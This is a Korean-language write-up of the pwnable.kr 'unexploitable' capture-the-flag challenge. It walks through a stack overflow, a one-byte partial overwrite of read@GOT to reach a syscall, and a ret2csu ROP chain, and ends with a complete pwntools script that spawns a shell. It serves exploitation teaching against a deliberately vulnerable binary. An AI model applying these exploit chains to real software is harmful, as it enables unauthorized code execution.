pwable.kr unexploitable write-up

소스코드 분석

1
#include <stdio.h>
2
void main(){
3
  // no brute forcing
4
  sleep(3);
5
  // exploit me
6
  int buf[4];
7
  read(0, buf, 1295);
8
}

코드는 간단하다.
출력함수 없이 read 함수만 존재하고 bof가 터진다.

취약점 분석

가젯이 많이 부족하다.
쓸만한 가젯을 찾던 중에 syscall을 발견했고, csu 부분을 이용해서 execve를 실행시키면 될 거 같다.
syscall은 read 함수의 got를 1byte 변조해서 사용했다.

pwndbg> disas read
Dump of assembler code for function __GI___libc_read:
   0x00007ffff7af2140 <+0>:  lea    rax,[rip+0x2e0891]        # 0x7ffff7dd29d8 <__libc_multiple_threads>
   0x00007ffff7af2147 <+7>:  mov    eax,DWORD PTR [rax]
   0x00007ffff7af2149 <+9>:  test   eax,eax
   0x00007ffff7af214b <+11>:  jne    0x7ffff7af2160 <__GI___libc_read+32>
   0x00007ffff7af214d <+13>:  xor    eax,eax
   0x00007ffff7af214f <+15>:  syscall

{: file=‘gdb’}

하위 1byte를 0x4f로 변조해줬다.

사실 삽질을 굉장히 많이 했는데, 처음엔 sleep 함수의 got를 변조할 생각이었다.
하지만 syscall의 주소가 sleep 함수의 got와 하위 1.5 byte가 달랐기 때문에 실패하였다.

pwndbg> disas sleep
Dump of assembler code for function __sleep:
   0x00007ffff7ac6640 <+0>:  push   rbp
   0x00007ffff7ac6641 <+1>:  push   rbx
   0x00007ffff7ac6642 <+2>:  sub    rsp,0x28
   0x00007ffff7ac6646 <+6>:  mov    rbx,QWORD PTR [rip+0x30681b]        # 0x7ffff7dcce68
   0x00007ffff7ac664d <+13>:  mov    rax,QWORD PTR fs:0x28
   0x00007ffff7ac6656 <+22>:  mov    QWORD PTR [rsp+0x18],rax
   0x00007ffff7ac665b <+27>:  xor    eax,eax
   0x00007ffff7ac665d <+29>:  mov    eax,edi
   0x00007ffff7ac665f <+31>:  mov    rdi,rsp
   0x00007ffff7ac6662 <+34>:  mov    QWORD PTR [rsp+0x8],0x0
   0x00007ffff7ac666b <+43>:  mov    rsi,rdi
   0x00007ffff7ac666e <+46>:  mov    ebp,DWORD PTR fs:[rbx]
   0x00007ffff7ac6671 <+49>:  mov    QWORD PTR [rsp],rax
   0x00007ffff7ac6675 <+53>:  call   0x7ffff7ac6760 <__GI___nanosleep> # here

{: file=‘gdb’}

pwndbg> disas __GI___nanosleep
Dump of assembler code for function __GI___nanosleep:
   0x00007ffff7ac6760 <+0>:  lea    rax,[rip+0x30c271]        # 0x7ffff7dd29d8 <__libc_multiple_threads>
   0x00007ffff7ac6767 <+7>:  mov    eax,DWORD PTR [rax]
   0x00007ffff7ac6769 <+9>:  test   eax,eax
   0x00007ffff7ac676b <+11>:  jne    0x7ffff7ac6780 <__GI___nanosleep+32>
   0x00007ffff7ac676d <+13>:  mov    eax,0x23
   0x00007ffff7ac6772 <+18>:  syscall # here

{: file=‘gdb’}

때문에 read 함수의 syscall을 사용하기로 했다.

일단 read 함수를 통해서 bss 영역에 /bin/sh 문자열을 써주었고, 다시 read 함수를 사용해서 read@got를 syscall로 변조해줬다.
하위 1byte를 변조했기 때문에 rax는 1로 세팅이 되어있었고, 덕분에 write 함수를 사용할 수 있었다.
아무 곳에서 execve의 syscall number만큼 읽어들이면 rax가 그 숫자로 맞춰지기 때문에 rdi에 아까 써둔 문자열이 위치한 bss 영역의 주소를 넣어주면 쉘을 실행시킬 수 있다.

익스플로잇

1
from pwn import *
2

3
s = ssh(user='unexploitable',host='pwnable.kr',port=2222,password='guest')
4
p = s.process("./unexploitable")
5

6
# p = process('./unexploitable')
7

8
e = ELF('./unexploitable')
9
bss = e.bss()
10

11
read_plt = e.plt['read']
12
read_got = e.got['read']
13

14
csu_init = p64(0x00000000004005e6)
15
csu_call = p64(0x00000000004005d0)
16

17
payload = 'A' * 24
18

19
payload += csu_init
20
payload += 'A' * 8
21
payload += p64(0)
22
payload += p64(1)
23
payload += p64(read_got)
24
payload += p64(0)
25
payload += p64(bss)
26
payload += p64(0x8)
27
payload += csu_call
28

29
payload += 'A' * 0x38
30

31
payload += csu_init
32
payload += 'A' * 8
33
payload += p64(0)
34
payload += p64(1)
35
payload += p64(read_got)
36
payload += p64(0)
37
payload += p64(read_got)
38
payload += p64(1)
39
payload += csu_call
40

41
payload += 'A' * 0x38
42

43
payload += csu_init
44
payload += 'A' * 8
45
payload += p64(0)
46
payload += p64(1)
47
payload += p64(read_got)
48
payload += p64(1)
49
payload += p64(read_got)
50
payload += p64(0x3b)
51
payload += csu_call
52

53
payload += 'A' * 0x38
54

55
payload += csu_init
56
payload += 'A' * 8
57
payload += p64(0)
58
payload += p64(1)
59
payload += p64(read_got)
60
payload += p64(bss)
61
payload += p64(0)
62
payload += p64(0)
63
payload += csu_call
64

65
p.send(payload)
66
sleep(3)
67
p.send('/bin/sh\\x00')
68
sleep(3)
69
p.send('\\x5e\\x00')
70

71
p.interactive()

쉘을 획득했다.